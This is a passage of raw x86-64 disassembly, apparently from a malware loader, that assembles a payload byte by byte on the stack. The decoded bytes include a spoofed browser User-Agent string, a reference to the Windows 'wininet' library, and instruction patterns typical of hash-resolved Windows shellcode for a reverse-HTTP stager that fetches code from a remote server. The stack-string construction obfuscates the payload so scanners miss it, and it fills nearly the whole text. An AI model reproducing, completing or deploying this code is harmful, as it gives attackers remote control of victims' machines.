mov word [rbp + 0x6c0], 0x534d
mov byte [rbp + 0x6c2], 0x49
mov byte [rbp + 0x6c7], al
lea rax, [rbp + 0x6b0]
mov qword [rbp + 0x6c8], rax
xor eax, eax
mov dword [rbp + 0x6d3], eax
mov byte [rbp + 0x6d7], al
lea rax, [rbp + 0x6c0]
mov qword [rbp + 0x6d8], rax
xor eax, eax
mov dword [rbp + 0x6e3], eax
mov byte [rbp + 0x6e7], al
lea rax, [rbp + 0x6d0]
mov qword [rbp + 0x6e8], rax
xor eax, eax
mov dword [rbp + 0x6f3], eax
mov byte [rbp + 0x6f7], al
lea rax, [rbp + 0x6e0]
mov qword [rbp + 0x6f8], rax
xor eax, eax
mov dword [rbp + 0x703], eax
mov byte [rbp + 0x707], al
lea rax, [rbp + 0x6f0]
mov qword [rbp + 0x708], rax
xor eax, eax
mov dword [rbp + 0x713], eax
mov byte [rbp + 0x717], al
lea rax, [rbp + 0x700]
mov qword [rbp + 0x718], rax
xor eax, eax
mov dword [rbp + 0x723], eax
mov byte [rbp + 0x727], al
lea rax, [rbp + 0x710]
mov qword [rbp + 0x728], rax
xor eax, eax
mov dword [rbp + 0x733], eax
mov byte [rbp + 0x737], al
lea rax, [rbp + 0x720]
mov qword [rbp + 0x738], rax
xor eax, eax
mov dword [rbp + 0x743], eax
mov byte [rbp + 0x747], al
lea rax, [rbp + 0x730]
mov qword [rbp + 0x748], rax
xor eax, eax
mov dword [rbp + 0x753], eax
mov byte [rbp + 0x757], al
lea rax, [rbp + 0x740]
mov qword [rbp + 0x758], rax
xor eax, eax
mov dword [rbp + 0x763], eax
mov byte [rbp + 0x767], al
lea rax, [rbp + 0x750]
mov qword [rbp + 0x768], rax
xor eax, eax
mov dword [rbp + 0x773], eax
mov byte [rbp + 0x777], al
lea rax, [rbp + 0x760]
mov qword [rbp + 0x778], rax
mov word [rbp + 0x6d0], 0x3b65
mov byte [rbp + 0x6d2], 0x20
mov word [rbp + 0x6e0], 0x6269
mov byte [rbp + 0x6e2], 0x6c
mov word [rbp + 0x6f0], 0x6170
mov byte [rbp + 0x6f2], 0x74
mov word [rbp + 0x700], 0x6f63
mov byte [rbp + 0x702], 0x6d
mov word [rbp + 0x710], 0x2030
mov byte [rbp + 0x712], 0x28
mov word [rbp + 0x720], 0x352f
mov byte [rbp + 0x722], 0x2e
mov word [rbp + 0x730], _initialize_narrow_environment
mov byte [rbp + 0x732], 0x61
mov word [rbp + 0x740], 0x7a6f
mov byte [rbp + 0x742], 0x69
mov word [rbp + 0x750], 0x203a
mov byte [rbp + 0x752], 0x4d
mov word [rbp + 0x760], 0x6e65
mov byte [rbp + 0x762], 0x74
mov word [rbp + 0x770], 0x412d
mov byte [rbp + 0x772], 0x67
mov word [rbp + 0x780], 0x6573
xor eax, eax
mov byte [rbp + 0x782], 0x72
mov dword [rbp + 0x783], eax
mov byte [rbp + 0x787], al
lea rax, [rbp + 0x770]
mov qword [rbp + 0x788], rax
xor eax, eax
mov dword [rbp + 0x793], eax
mov byte [rbp + 0x797], al
lea rax, [rbp + 0x780]
mov qword [rbp + 0x798], rax
xor eax, eax
mov dword [rbp + 0x7a3], eax
mov byte [rbp + 0x7a7], al
lea rax, [rbp + 0x790]
mov qword [rbp + 0x7a8], rax
xor eax, eax
mov dword [rbp + 0x7b3], eax
mov byte [rbp + 0x7b7], al
lea rax, [rbp + 0x7a0]
mov qword [rbp + 0x7b8], rax
xor eax, eax
mov dword [rbp + 0x7c3], eax
mov byte [rbp + 0x7c7], al
lea rax, [rbp + 0x7b0]
mov qword [rbp + 0x7c8], rax
xor eax, eax
mov dword [rbp + 0x7d3], eax
mov byte [rbp + 0x7d7], al
lea rax, [rbp + 0x7c0]
mov qword [rbp + 0x7d8], rax
xor eax, eax
mov dword [rbp + 0x7e3], eax
mov byte [rbp + 0x7e7], al
lea rax, [rbp + 0x7d0]
mov qword [rbp + 0x7e8], rax
xor eax, eax
mov dword [rbp + 0x7f3], eax
mov byte [rbp + 0x7f7], al
lea rax, [rbp + 0x7e0]
mov qword [rbp + 0x7f8], rax
xor eax, eax
mov dword [rbp + 0x803], eax
mov byte [rbp + 0x807], al
lea rax, [rbp + 0x7f0]
mov qword [rbp + 0x808], rax
xor eax, eax
mov dword [rbp + 0x813], eax
mov byte [rbp + 0x817], al
lea rax, [rbp + 0x800]
mov qword [rbp + 0x818], rax
xor eax, eax
mov dword [rbp + 0x823], eax
mov byte [rbp + 0x827], al
lea rax, [rbp + 0x810]
mov qword [rbp + 0x828], rax
xor eax, eax
mov dword [rbp + 0x833], eax
mov byte [rbp + 0x837], al
mov word [rbp + 0x790], 0xcb
mov byte [rbp + 0x792], 0x55
mov word [rbp + 0x7a0], 0x2464
mov byte [rbp + 0x7a2], 0x92
mov word [rbp + 0x7b0], 0x3bc1
mov byte [rbp + 0x7b2], 0x96
mov word [rbp + 0x7c0], 0xf995
mov byte [rbp + 0x7c2], 0xb8
mov word [rbp + 0x7d0], 0x8080
mov byte [rbp + 0x7d2], 0x39
mov word [rbp + 0x7e0], 0x434d
mov byte [rbp + 0x7e2], 0x4a
mov word [rbp + 0x7f0], 0x2938
mov byte [rbp + 0x7f2], 0xaa
mov word [rbp + 0x800], 0x2bd8
mov byte [rbp + 0x802], 0xa1
mov word [rbp + 0x810], 0x5e0d
mov byte [rbp + 0x812], 0x87
mov word [rbp + 0x820], 0x7596
mov byte [rbp + 0x822], 0xbc
mov word [rbp + 0x830], 0x1222
mov byte [rbp + 0x832], 0xaa
lea rax, [rbp + 0x820]
mov word [rbp + 0x840], 0x15d7
mov qword [rbp + 0x838], rax
xor eax, eax
mov dword [rbp + 0x843], eax
mov byte [rbp + 0x847], al
lea rax, [rbp + 0x830]
mov qword [rbp + 0x848], rax
xor eax, eax
mov dword [rbp + 0x853], eax
mov byte [rbp + 0x857], al
lea rax, [rbp + 0x840]
mov qword [rbp + 0x858], rax
xor eax, eax
mov dword [rbp + 0x863], eax
mov byte [rbp + 0x867], al
lea rax, [rbp + 0x850]
mov qword [rbp + 0x868], rax
xor eax, eax
mov dword [rbp + 0x873], eax
mov byte [rbp + 0x877], al
lea rax, [rbp + 0x860]
mov qword [rbp + 0x878], rax
xor eax, eax
mov dword [rbp + 0x883], eax
mov byte [rbp + 0x887], al
lea rax, [rbp + 0x870]
mov qword [rbp + 0x888], rax
xor eax, eax
mov dword [rbp + 0x893], eax
mov byte [rbp + 0x897], al
lea rax, [rbp + 0x880]
mov qword [rbp + 0x898], rax
xor eax, eax
mov dword [rbp + 0x8a3], eax
mov byte [rbp + 0x8a7], al
lea rax, [rbp + 0x890]
mov qword [rbp + 0x8a8], rax
xor eax, eax
mov dword [rbp + 0x8b3], eax
mov byte [rbp + 0x8b7], al
lea rax, [rbp + 0x8a0]
mov qword [rbp + 0x8b8], rax
xor eax, eax
mov dword [rbp + 0x8c3], eax
mov byte [rbp + 0x8c7], al
lea rax, [rbp + 0x8b0]
mov qword [rbp + 0x8c8], rax
xor eax, eax
mov dword [rbp + 0x8d3], eax
mov byte [rbp + 0x8d7], al
lea rax, [rbp + 0x8c0]
mov qword [rbp + 0x8d8], rax
xor eax, eax
mov dword [rbp + 0x8e3], eax
mov byte [rbp + 0x8e7], al
lea rax, [rbp + 0x8d0]
mov qword [rbp + 0x8e8], rax
mov byte [rbp + 0x842], 0x4d
mov word [rbp + 0x850], 0xb15c
mov byte [rbp + 0x852], 0xca
mov word [rbp + 0x860], 0x7543
mov byte [rbp + 0x862], 0xfe
mov word [rbp + 0x870], 0x4644
mov byte [rbp + 0x872], 0x89
mov word [rbp + 0x880], 0xe8dd
mov byte [rbp + 0x882], 0xcb
mov word [rbp + 0x890], 0xdb37
mov byte [rbp + 0x892], 0xb5
mov word [rbp + 0x8a0], 0xd2e1
mov byte [rbp + 0x8a2], 0x6a
mov word [rbp + 0x8b0], 0x51b2
mov byte [rbp + 0x8b2], 0x96
mov word [rbp + 0x8c0], 0x3c45
mov byte [rbp + 0x8c2], 0x10
mov word [rbp + 0x8d0], 0xbf73
mov byte [rbp + 0x8d2], 0xb1
mov word [rbp + 0x8e0], 0xbc0d
mov byte [rbp + 0x8e2], 0x14
mov word [rbp + 0x8f0], 0xa928
mov byte [rbp + 0x8f2], 0xe6
xor eax, eax
mov word [rbp + 0x900], 0xec2
mov dword [rbp + 0x8f3], eax
mov byte [rbp + 0x8f7], al
lea rax, [rbp + 0x8e0]
mov qword [rbp + 0x8f8], rax
xor eax, eax
mov dword [rbp + 0x903], eax
mov byte [rbp + 0x907], al
lea rax, [rbp + 0x8f0]
mov qword [rbp + 0x908], rax
xor eax, eax
mov dword [rbp + 0x913], eax
mov byte [rbp + 0x917], al
lea rax, [rbp + 0x900]
mov qword [rbp + 0x918], rax
xor eax, eax
mov dword [rbp + 0x1172], eax
mov word [rbp + 0x1176], ax
lea rax, [rbp + 0x910]
mov qword [rbp + 0x1178], rax
xor eax, eax
mov dword [rbp + 0x923], eax
mov byte [rbp + 0x927], al
lea rax, [rbp + 0x1170]
mov qword [rbp + 0x928], rax
xor eax, eax
mov dword [rbp + 0x933], eax
mov byte [rbp + 0x937], al
lea rax, [rbp + 0x920]
mov qword [rbp + 0x938], rax
xor eax, eax
mov dword [rbp + 0x943], eax
mov byte [rbp + 0x947], al
lea rax, [rbp + 0x930]
mov qword [rbp + 0x948], rax
xor eax, eax
mov dword [rbp + 0x1182], eax
mov word [rbp + 0x1186], ax
lea rax, [rbp + 0x940]
mov qword [rbp + 0x1188], rax
xor eax, eax
mov dword [rbp + 0x953], eax
mov byte [rbp + 0x957], al
lea rax, [rbp + 0x1180]
mov qword [rbp + 0x958], rax
xor eax, eax
mov dword [rbp + 0x963], eax
mov byte [rbp + 0x967], al
lea rax, [rbp + 0x950]
mov qword [rbp + 0x968], rax
xor eax, eax
mov dword [rbp + 0x973], eax
mov byte [rbp + 0x977], al
lea rax, [rbp + 0x960]
mov qword [rbp + 0x978], rax
xor eax, eax
mov dword [rbp + 0x983], eax
mov byte [rbp + 0x987], al
lea rax, [rbp + 0x970]
mov qword [rbp + 0x988], rax
mov byte [rbp + 0x902], 0x98
mov word [rbp + 0x910], 0x2e61
mov byte [rbp + 0x912], 0xe4
mov word [rbp + 0x1170], 0x5544
mov word [rbp + 0x920], 0x612f
mov byte [rbp + 0x922], 0x63
mov word [rbp + 0x930], 0xffff
mov byte [rbp + 0x932], 0xff
mov word [rbp + 0x940], 0xe800
mov byte [rbp + 0x942], 0xa2
mov word [rbp + 0x1180], 0x1e4
mov word [rbp + 0x950], 0xd3eb
mov byte [rbp + 0x952], 0xe9
mov word [rbp + 0x960], 1
mov byte [rbp + 0x962], r12b
mov word [rbp + 0x970], 0x840f
mov byte [rbp + 0x972], 0x8c
mov word [rbp + 0x980], 0xff48
mov byte [rbp + 0x982], 0xcf
mov word [rbp + 0x990], 1
xor eax, eax
mov byte [rbp + 0x992], r12b
mov dword [rbp + 0x993], eax
mov byte [rbp + 0x997], al
lea rax, [rbp + 0x980]
mov qword [rbp + 0x998], rax
xor eax, eax
mov dword [rbp + 0x9a3], eax
mov byte [rbp + 0x9a7], al
lea rax, [rbp + 0x990]
mov qword [rbp + 0x9a8], rax
xor eax, eax
mov dword [rbp + 0x9b3], eax
mov byte [rbp + 0x9b7], al
lea rax, [rbp + 0x9a0]
mov qword [rbp + 0x9b8], rax
xor eax, eax
mov dword [rbp + 0x9c3], eax
mov byte [rbp + 0x9c7], al
lea rax, [rbp + 0x9b0]
mov qword [rbp + 0x9c8], rax
xor eax, eax
mov dword [rbp + 0x9d3], eax
mov byte [rbp + 0x9d7], al
lea rax, [rbp + 0x9c0]
mov qword [rbp + 0x9d8], rax
xor eax, eax
mov dword [rbp + 0x9e3], eax
mov byte [rbp + 0x9e7], al
lea rax, [rbp + 0x9d0]
mov qword [rbp + 0x9e8], rax
xor eax, eax
mov dword [rbp + 0x9f3], eax
mov byte [rbp + 0x9f7], al
lea rax, [rbp + 0x9e0]
mov qword [rbp + 0x9f8], rax
xor eax, eax
mov dword [rbp + 0xa03], eax
mov byte [rbp + 0xa07], al
lea rax, [rbp + 0x9f0]
mov qword [rbp + 0xa08], rax
xor eax, eax
mov dword [rbp + 0xa13], eax
mov byte [rbp + 0xa17], al
lea rax, [rbp + 0xa00]
mov qword [rbp + 0xa18], rax
xor eax, eax
mov dword [rbp + 0xa23], eax
mov byte [rbp + 0xa27], al
lea rax, [rbp + 0xa10]
mov qword [rbp + 0xa28], rax
xor eax, eax
mov dword [rbp + 0xa33], eax
mov byte [rbp + 0xa37], al
lea rax, [rbp + 0xa20]
mov qword [rbp + 0xa38], rax
xor eax, eax
mov dword [rbp + 0xa43], eax
mov byte [rbp + 0xa47], al
mov word [rbp + 0x9a0], 0x850f
mov byte [rbp + 0x9a2], 0x9d
mov word [rbp + 0x9b0], 0x85d5
mov byte [rbp + 0x9b2], 0xc0
mov word [rbp + 0x9c0], 0x7b18
mov byte [rbp + 0x9c2], 0xff
mov word [rbp + 0x9d0], 0x2dba
mov byte [rbp + 0x9d2], 6
mov word [rbp + 0x9e0], 0x5252
mov byte [rbp + 0x9e2], 0x41
mov word [rbp + 0x9f0], 0x314d
mov byte [rbp + 0x9f2], 0xc9
mov word [rbp + 0xa00], 0xffff
mov byte [rbp + 0xa02], 0xff
mov word [rbp + 0xa10], 0xc0c7
mov byte [rbp + 0xa12], 0xff
mov word [rbp + 0xa20], 0xda89
mov byte [rbp + 0xa22], 0x49
mov word [rbp + 0xa30], 0xf189
mov byte [rbp + 0xa32], 0x48
mov word [rbp + 0xa40], 0x5f0a
mov byte [rbp + 0xa42], 0x48
lea rax, [rbp + 0xa30]
mov word [rbp + 0xa50], 0x50c3
mov qword [rbp + 0xa48], rax
xor eax, eax
mov dword [rbp + 0xa53], eax
mov byte [rbp + 0xa57], al
lea rax, [rbp + 0xa40]
mov qword [rbp + 0xa58], rax
xor eax, eax
mov dword [rbp + 0xa63], eax
mov byte [rbp + 0xa67], al
lea rax, [rbp + 0xa50]
mov qword [rbp + 0xa68], rax
xor eax, eax
mov dword [rbp + 0xa73], eax
mov byte [rbp + 0xa77], al
lea rax, [rbp + 0xa60]
mov qword [rbp + 0xa78], rax
xor eax, eax
mov dword [rbp + 0xa83], eax
mov byte [rbp + 0xa87], al
lea rax, [rbp + 0xa70]
mov qword [rbp + 0xa88], rax
xor eax, eax
mov dword [rbp + 0xa93], eax
mov byte [rbp + 0xa97], al
lea rax, [rbp + 0xa80]
mov qword [rbp + 0xa98], rax
xor eax, eax
mov dword [rbp + 0xaa3], eax
mov byte [rbp + 0xaa7], al
lea rax, [rbp + 0xa90]
mov qword [rbp + 0xaa8], rax
xor eax, eax
mov dword [rbp + 0xab3], eax
mov byte [rbp + 0xab7], al
lea rax, [rbp + 0xaa0]
mov qword [rbp + 0xab8], rax
xor eax, eax
mov dword [rbp + 0x1192], eax
mov word [rbp + 0x1196], ax
lea rax, [rbp + 0xab0]
mov qword [rbp + 0x1198], rax
xor eax, eax
mov dword [rbp + 0xac3], eax
mov byte [rbp + 0xac7], al
lea rax, [rbp + 0x1190]
mov qword [rbp + 0xac8], rax
xor eax, eax
mov dword [rbp + 0xad3], eax
mov byte [rbp + 0xad7], al
lea rax, [rbp + 0xac0]
mov qword [rbp + 0xad8], rax
xor eax, eax
mov dword [rbp + 0xae3], eax
mov byte [rbp + 0xae7], al
lea rax, [rbp + 0xad0]
mov qword [rbp + 0xae8], rax
xor eax, eax
mov byte [rbp + 0xa52], 0x6a
mov word [rbp + 0xa60], 0x48c6
mov byte [rbp + 0xa62], 0x83
mov word [rbp + 0xa70], 0x48d5
mov byte [rbp + 0xa72], 0x89
mov word [rbp + 0xa80], 0x3b2e
mov byte [rbp + 0xa82], 0xff
mov word [rbp + 0xa90], 0xebba
mov byte [rbp + 0xa92], 0x55
mov word [rbp + 0xaa0], 0x5252
mov byte [rbp + 0xaa2], 0x41
mov word [rbp + 0xab0], 0x4002
mov byte [rbp + 0xab2], 0x84
mov word [rbp + 0x1190], 0x6852
mov word [rbp + 0xac0], 0x314d
mov byte [rbp + 0xac2], 0xc9
mov word [rbp + 0xad0], 0x8949
mov byte [rbp + 0xad2], 0xd8
mov word [rbp + 0xae0], 0x3148
mov byte [rbp + 0xae2], 0xd2
mov word [rbp + 0xaf0], 0x8948
mov byte [rbp + 0xaf2], 0xc1
mov dword [rbp + 0xaf3], eax
mov byte [rbp + 0xaf7], al
lea rax, [rbp + 0xae0]
mov qword [rbp + 0xaf8], rax
xor eax, eax
mov dword [rbp + 0xb03], eax
mov byte [rbp + 0xb07], al
lea rax, [rbp + 0xaf0]
mov qword [rbp + 0xb08], rax
xor eax, eax
mov dword [rbp + 0xb13], eax
mov byte [rbp + 0xb17], al
lea rax, [rbp + 0xb00]
mov qword [rbp + 0xb18], rax
xor eax, eax
mov dword [rbp + 0xb23], eax
mov byte [rbp + 0xb27], al
lea rax, [rbp + 0xb10]
mov qword [rbp + 0xb28], rax
xor eax, eax
mov dword [rbp + 0xb33], eax
mov byte [rbp + 0xb37], al
lea rax, [rbp + 0xb20]
mov qword [rbp + 0xb38], rax
xor eax, eax
mov dword [rbp + 0xb43], eax
mov byte [rbp + 0xb47], al
lea rax, [rbp + 0xb30]
mov qword [rbp + 0xb48], rax
xor eax, eax
mov dword [rbp + 0xb53], eax
mov byte [rbp + 0xb57], al
lea rax, [rbp + 0xb40]
mov qword [rbp + 0xb58], rax
xor eax, eax
mov dword [rbp + 0xb63], eax
mov byte [rbp + 0xb67], al
lea rax, [rbp + 0xb50]
mov qword [rbp + 0xb68], rax
xor eax, eax
mov dword [rbp + 0xb73], eax
mov byte [rbp + 0xb77], al
lea rax, [rbp + 0xb60]
mov qword [rbp + 0xb78], rax
xor eax, eax
mov dword [rbp + 0x11a2], eax
mov word [rbp + 0x11a6], ax
lea rax, [rbp + 0xb70]
mov qword [rbp + 0x11a8], rax
xor eax, eax
mov dword [rbp + 0xb83], eax
mov byte [rbp + 0xb87], al
lea rax, [rbp + 0x11a0]
mov qword [rbp + 0xb88], rax
xor eax, eax
mov dword [rbp + 0xb93], eax
mov byte [rbp + 0xb97], al
lea rax, [rbp + 0xb80]
mov qword [rbp + 0xb98], rax
mov word [rbp + 0xb00], 0x59eb
mov byte [rbp + 0xb02], 0x5b
mov word [rbp + 0xb10], 0xffc6
mov byte [rbp + 0xb12], 0xd5
mov word [rbp + 0xb20], 0x8957
mov byte [rbp + 0xb22], 0x9f
mov word [rbp + 0xb30], 0x4151
mov byte [rbp + 0xb32], 0xba
mov word [rbp + 0xb40], 0x36a
mov byte [rbp + 0xb42], 0x41
mov word [rbp + 0xb50], 0x4151
mov byte [rbp + 0xb52], 0x51
mov word [rbp + 0xb60], 0xc931
mov byte [rbp + 0xb62], 0x41
mov word [rbp + 0xb70], r12w
mov byte [rbp + 0xb72], 0x4d
mov word [rbp + 0x11a0], 0x50b8
mov word [rbp + 0xb80], 0xc189
mov byte [rbp + 0xb82], 0x41
mov word [rbp + 0xb90], 0x5a73
mov byte [rbp + 0xb92], 0x48
mov word [rbp + 0xba0], 0xd5ff
xor eax, eax
mov byte [rbp + 0xba2], 0xeb
mov dword [rbp + 0xba3], eax
mov byte [rbp + 0xba7], al
lea rax, [rbp + 0xb90]
mov qword [rbp + 0xba8], rax
xor eax, eax
mov dword [rbp + 0xbb3], eax
mov byte [rbp + 0xbb7], al
lea rax, [rbp + 0xba0]
mov qword [rbp + 0xbb8], rax
xor eax, eax
mov dword [rbp + 0xbc3], eax
mov byte [rbp + 0xbc7], al
lea rax, [rbp + 0xbb0]
mov qword [rbp + 0xbc8], rax
xor eax, eax
mov dword [rbp + 0xbd3], eax
mov byte [rbp + 0xbd7], al
lea rax, [rbp + 0xbc0]
mov qword [rbp + 0xbd8], rax
xor eax, eax
mov dword [rbp + 0xbe3], eax
mov byte [rbp + 0xbe7], al
lea rax, [rbp + 0xbd0]
mov qword [rbp + 0xbe8], rax
xor eax, eax
mov dword [rbp + 0xbf3], eax
mov byte [rbp + 0xbf7], al
lea rax, [rbp + 0xbe0]
mov qword [rbp + 0xbf8], rax
xor eax, eax
mov dword [rbp + 0xc03], eax
mov byte [rbp + 0xc07], al
lea rax, [rbp + 0xbf0]
mov qword [rbp + 0xc08], rax
xor eax, eax
mov dword [rbp + 0xc13], eax
mov byte [rbp + 0xc17], al
lea rax, [rbp + 0xc00]
mov qword [rbp + 0xc18], rax
xor eax, eax
mov dword [rbp + 0xc23], eax
mov byte [rbp + 0xc27], al
lea rax, [rbp + 0xc10]
mov qword [rbp + 0xc28], rax
xor eax, eax
mov dword [rbp + 0xc33], eax
mov byte [rbp + 0xc37], al
lea rax, [rbp + 0xc20]
mov qword [rbp + 0xc38], rax
xor eax, eax
mov dword [rbp + 0xc43], eax
mov byte [rbp + 0xc47], al
lea rax, [rbp + 0xc30]
mov qword [rbp + 0xc48], rax
xor eax, eax
mov dword [rbp + 0xc53], eax
mov byte [rbp + 0xc57], al
mov word [rbp + 0xbb0], 0x7956
mov byte [rbp + 0xbb2], 0xa7
mov word [rbp + 0xbc0], 0xba41
mov byte [rbp + 0xbc2], 0x3a
mov word [rbp + 0xbd0], 0x4150
mov byte [rbp + 0xbd2], 0x50
mov word [rbp + 0xbe0], 0xc931
mov byte [rbp + 0xbe2], 0x41
mov word [rbp + 0xbf0], 0xc031
mov byte [rbp + 0xbf2], 0x4d
mov word [rbp + 0xc00], 0xd231
mov byte [rbp + 0xc02], 0x4d
mov word [rbp + 0xc10], 0xc931
mov byte [rbp + 0xc12], 0x48
mov word [rbp + 0xc20], 0xd5ff
mov byte [rbp + 0xc22], 0x48
mov word [rbp + 0xc30], 0x2677
mov byte [rbp + 0xc32], 7
mov word [rbp + 0xc40], 0xba41
mov byte [rbp + 0xc42], 0x4c
mov word [rbp + 0xc50], 0x894c
mov byte [rbp + 0xc52], 0xf1
lea rax, [rbp + 0xc40]
mov word [rbp + 0xc60], 0x8949
mov qword [rbp + 0xc58], rax
xor eax, eax
mov dword [rbp + 0xc63], eax
mov byte [rbp + 0xc67], al
lea rax, [rbp + 0xc50]
mov qword [rbp + 0xc68], rax
xor eax, eax
mov dword [rbp + 0xc73], eax
mov byte [rbp + 0xc77], al
lea rax, [rbp + 0xc60]
mov qword [rbp + 0xc78], rax
xor eax, eax
mov dword [rbp + 0xc83], eax
mov byte [rbp + 0xc87], al
lea rax, [rbp + 0xc70]
mov qword [rbp + 0xc88], rax
xor eax, eax
mov dword [rbp + 0xc93], eax
mov byte [rbp + 0xc97], al
lea rax, [rbp + 0xc80]
mov qword [rbp + 0xc98], rax
xor eax, eax
mov dword [rbp + 0xca3], eax
mov byte [rbp + 0xca7], al
lea rax, [rbp + 0xc90]
mov qword [rbp + 0xca8], rax
xor eax, eax
mov dword [rbp + 0x11b2], eax
mov word [rbp + 0x11b6], ax
lea rax, [rbp + 0xca0]
mov qword [rbp + 0x11b8], rax
xor eax, eax
mov dword [rbp + 0xcb3], eax
mov byte [rbp + 0xcb7], al
lea rax, [rbp + 0x11b0]
mov qword [rbp + 0xcb8], rax
xor eax, eax
mov dword [rbp + 0xcc3], eax
mov byte [rbp + 0xcc7], al
lea rax, [rbp + 0xcb0]
mov qword [rbp + 0xcc8], rax
xor eax, eax
mov dword [rbp + 0xcd3], eax
mov byte [rbp + 0xcd7], al
lea rax, [rbp + 0xcc0]
mov qword [rbp + 0xcd8], rax
xor eax, eax
mov dword [rbp + 0xce3], eax
mov byte [rbp + 0xce7], al
lea rax, [rbp + 0xcd0]
mov qword [rbp + 0xce8], rax
xor eax, eax
mov dword [rbp + 0xcf3], eax
mov byte [rbp + 0xcf7], al
lea rax, [rbp + 0xce0]
mov qword [rbp + 0xcf8], rax
xor eax, eax
mov byte [rbp + 0xc62], 0xe6
mov word [rbp + 0xc70], 0x4100
mov byte [rbp + 0xc72], 0x56
mov word [rbp + 0xc80], 0x656e
mov byte [rbp + 0xc82], 0x74
mov word [rbp + 0xc90], 0x6e69
mov byte [rbp + 0xc92], 0x69
mov word [rbp + 0xca0], 0xbe49
mov byte [rbp + 0xca2], 0x77
mov word [rbp + 0x11b0], 0x6a5d
mov word [rbp + 0xcb0], 0xffff
mov byte [rbp + 0xcb2], 0xff
mov word [rbp + 0xcc0], 0xe912
mov byte [rbp + 0xcc2], 0x4f
mov word [rbp + 0xcd0], 0x485a
mov byte [rbp + 0xcd2], 0x8b
mov word [rbp + 0xce0], 0x4158
mov byte [rbp + 0xce2], 0x59
mov word [rbp + 0xcf0], 0xff52
mov byte [rbp + 0xcf2], 0xe0
mov word [rbp + 0xd00], 0x20ec
mov byte [rbp + 0xd02], 0x41
mov dword [rbp + 0xd03], eax
mov byte [rbp + 0xd07], al
lea rax, [rbp + 0xcf0]
mov qword [rbp + 0xd08], rax
xor eax, eax
mov dword [rbp + 0xd13], eax
mov byte [rbp + 0xd17], al
lea rax, [rbp + 0xd00]
mov qword [rbp + 0xd18], rax
xor eax, eax
mov dword [rbp + 0xd23], eax
mov byte [rbp + 0xd27], al
lea rax, [rbp + 0xd10]
mov qword [rbp + 0xd28], rax
xor eax, eax
mov dword [rbp + 0xd33], eax
mov byte [rbp + 0xd37], al
lea rax, [rbp + 0xd20]
mov qword [rbp + 0xd38], rax
xor eax, eax
mov dword [rbp + 0xd43], eax
mov byte [rbp + 0xd47], al
lea rax, [rbp + 0xd30]
mov qword [rbp + 0xd48], rax
xor eax, eax
mov dword [rbp + 0xd53], eax
mov byte [rbp + 0xd57], al
lea rax, [rbp + 0xd40]
mov qword [rbp + 0xd58], rax
xor eax, eax
mov dword [rbp + 0xd63], eax
mov byte [rbp + 0xd67], al
lea rax, [rbp + 0xd50]
mov qword [rbp + 0xd68], rax
xor eax, eax
mov dword [rbp + 0xd73], eax
mov byte [rbp + 0xd77], al
lea rax, [rbp + 0xd60]
mov qword [rbp + 0xd78], rax
xor eax, eax
mov dword [rbp + 0xd83], eax
mov byte [rbp + 0xd87], al
lea rax, [rbp + 0xd70]
mov qword [rbp + 0xd88], rax
xor eax, eax
mov dword [rbp + 0xd93], eax
mov byte [rbp + 0xd97], al
lea rax, [rbp + 0xd80]
mov qword [rbp + 0xd98], rax
xor eax, eax
mov dword [rbp + 0xda3], eax
mov byte [rbp + 0xda7], al
lea rax, [rbp + 0xd90]
mov qword [rbp + 0xda8], rax
xor eax, eax
mov dword [rbp + 0xdb3], eax
mov byte [rbp + 0xdb7], al
lea rax, [rbp + 0xda0]
mov qword [rbp + 0xdb8], rax
mov word [rbp + 0xd10], 0x485a
mov byte [rbp + 0xd12], 0x83
mov word [rbp + 0xd20], 0x5941
mov byte [rbp + 0xd22], 0x41
mov word [rbp + 0xd30], 0x415a
mov byte [rbp + 0xd32], 0x58
mov word [rbp + 0xd40], 0x5e58
mov byte [rbp + 0xd42], 0x59
mov word [rbp + 0xd50], 0x5841
mov byte [rbp + 0xd52], 0x41
mov word [rbp + 0xd60], 0x148
mov byte [rbp + 0xd62], 0xd0
mov word [rbp + 0xd70], 0x48b
mov byte [rbp + 0xd72], 0x88
mov word [rbp + 0xd80], 0xd001
mov byte [rbp + 0xd82], 0x41
mov word [rbp + 0xd90], 0x1c40
mov byte [rbp + 0xd92], 0x49
mov word [rbp + 0xda0], 0x4448
mov byte [rbp + 0xda2], 0x8b
mov word [rbp + 0xdb0], 0x8b41
mov byte [rbp + 0xdb2], 0xc
xor eax, eax
mov word [rbp + 0xdc0], 0xd001
mov dword [rbp + 0xdc3], eax
mov byte [rbp + 0xdc7], al
lea rax, [rbp + 0xdb0]
mov qword [rbp + 0xdc8], rax
xor eax, eax
mov dword [rbp + 0xdd3], eax
mov byte [rbp + 0xdd7], al
lea rax, [rbp + 0xdc0]
mov qword [rbp + 0xdd8], rax
xor eax, eax
mov dword [rbp + 0xde3], eax
mov byte [rbp + 0xde7], al
lea rax, [rbp + 0xdd0]
mov qword [rbp + 0xde8], rax
xor eax, eax
mov dword [rbp + 0xdf3], eax
mov byte [rbp + 0xdf7], al
lea rax, [rbp + 0xde0]
mov qword [rbp + 0xdf8], rax
xor eax, eax
mov dword [rbp + 0xe03], eax
mov byte [rbp + 0xe07], al
lea rax, [rbp + 0xdf0]
mov qword [rbp + 0xe08], rax
xor eax, eax
mov dword [rbp + 0xe13], eax
mov byte [rbp + 0xe17], al
lea rax, [rbp + 0xe00]
mov qword [rbp + 0xe18], rax
xor eax, eax
mov dword [rbp + 0xe23], eax
mov byte [rbp + 0xe27], al
lea rax, [rbp + 0xe10]
mov qword [rbp + 0xe28], rax
xor eax, eax
mov dword [rbp + 0xe33], eax
mov byte [rbp + 0xe37], al
lea rax, [rbp + 0xe20]
mov qword [rbp + 0xe38], rax
xor eax, eax
mov dword [rbp + 0xe43], eax
mov byte [rbp + 0xe47], al
lea rax, [rbp + 0xe30]
mov qword [rbp + 0xe48], rax
xor eax, eax
mov dword [rbp + 0xe53], eax
mov byte [rbp + 0xe57], al
lea rax, [rbp + 0xe40]
mov qword [rbp + 0xe58], rax
xor eax, eax
mov dword [rbp + 0xe63], eax
mov byte [rbp + 0xe67], al
lea rax, [rbp + 0xe50]
mov qword [rbp + 0xe68], rax
xor eax, eax
mov dword [rbp + 0xe73], eax
mov byte [rbp + 0xdc2], 0x66
mov word [rbp + 0xdd0], 0x2440
mov byte [rbp + 0xdd2], 0x49
mov word [rbp + 0xde0], 0x4458
mov byte [rbp + 0xde2], 0x8b
mov word [rbp + 0xdf0], 0x75d1
mov byte [rbp + 0xdf2], 0xd8
mov word [rbp + 0xe00], 0x4508
mov byte [rbp + 0xe02], 0x39
mov word [rbp + 0xe10], 0x4c03
mov byte [rbp + 0xe12], 0x24
mov word [rbp + 0xe20], 0xf175
mov byte [rbp + 0xe22], 0x4c
